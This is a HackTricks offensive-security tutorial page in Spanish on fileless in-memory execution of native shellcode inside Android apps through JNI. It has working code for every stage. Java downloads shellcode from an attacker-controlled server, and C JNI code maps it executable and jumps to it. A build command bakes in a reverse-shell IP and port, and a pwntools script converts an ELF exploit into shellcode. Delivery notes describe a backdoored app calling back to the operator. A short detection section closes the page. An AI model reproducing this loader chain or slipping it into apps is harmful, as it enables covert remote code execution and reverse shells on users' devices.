Android Ejecución en memoria de código nativo vía JNI (shellcode)

Reading time: 5 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta página documenta un patrón práctico para ejecutar payloads nativos completamente en memoria desde un proceso de app Android no confiable usando JNI. El flujo evita crear cualquier binario nativo en disco: descargar bytes crudos de shellcode por HTTP(S), pasarlos a un puente JNI, asignar memoria RX y saltar a ella.

Por qué importa

  • Reduce artefactos forenses (no ELF en disco)
  • Compatible con payloads nativos “stage-2” generados desde un binario exploit ELF
  • Coincide con el tradecraft usado por malware moderno y red teams

Patrón de alto nivel

  1. Obtener los bytes de shellcode en Java/Kotlin
  2. Llamar a un método nativo (JNI) con el array de bytes
  3. En JNI: asignar memoria RW → copiar bytes → mprotect a RX → llamar al entrypoint

Ejemplo mínimo

Java/Kotlin side

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

Lado C JNI (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

Notas y advertencias

  • W^X/execmem: Android moderno aplica W^X; los mapeos anónimos PROT_EXEC generalmente siguen estando permitidos para procesos de app con JIT (sujeto a la política de SELinux). Algunos dispositivos/ROMs lo restringen; recurre a JIT-allocated exec pools o native bridges cuando sea necesario.
  • Architectures: Asegúrate de que la arquitectura del shellcode coincida con la del dispositivo (arm64-v8a comúnmente; x86 solo en emuladores).
  • Contrato del entrypoint: Decide una convención para la entrada de tu shellcode (no args vs puntero a estructura). Mantenlo position-independent (PIC).
  • Estabilidad: Limpia la caché de instrucciones antes de saltar; una caché desajustada puede provocar fallos en ARM.

Packaging ELF → shellcode independiente de posición Un flujo de trabajo robusto para el operador es:

  • Compila tu exploit como un ELF estático con musl-gcc
  • Convierte el ELF en un blob de shellcode auto‑cargable usando pwntools’ shellcraft.loader_append

Compilar

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Transformar ELF a raw shellcode (ejemplo amd64)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Por qué funciona loader_append: emite un pequeño loader que mapea los segmentos de programa ELF embebidos en memoria y transfiere el control a su entrypoint, dándote un único raw blob que puede ser memcpy’ed y ejecutado por la app.

Entrega

  • Hospeda sc en un servidor HTTP(S) que controles
  • La app backdoored/test descarga sc e invoca el puente JNI mostrado arriba
  • Escucha en tu operator box cualquier reverse connection que establezca el kernel/user-mode payload

Flujo de validación para kernel payloads

  • Usa un vmlinux simbolizado para reversing/recuperación rápida de offsets
  • Prototipa primitives en una debug image conveniente si está disponible, pero siempre re‑valida en el target Android real (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Endurecimiento/Detección (blue team)

  • Prohibir PROT_EXEC anónimo en dominios de app cuando sea posible (SELinux policy)
  • Aplicar integridad de código estricta (no dynamic native loading desde la red) y validar los canales de actualización
  • Monitorear transiciones sospechosas mmap/mprotect a RX y grandes copias de byte-array que precedan jumps

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks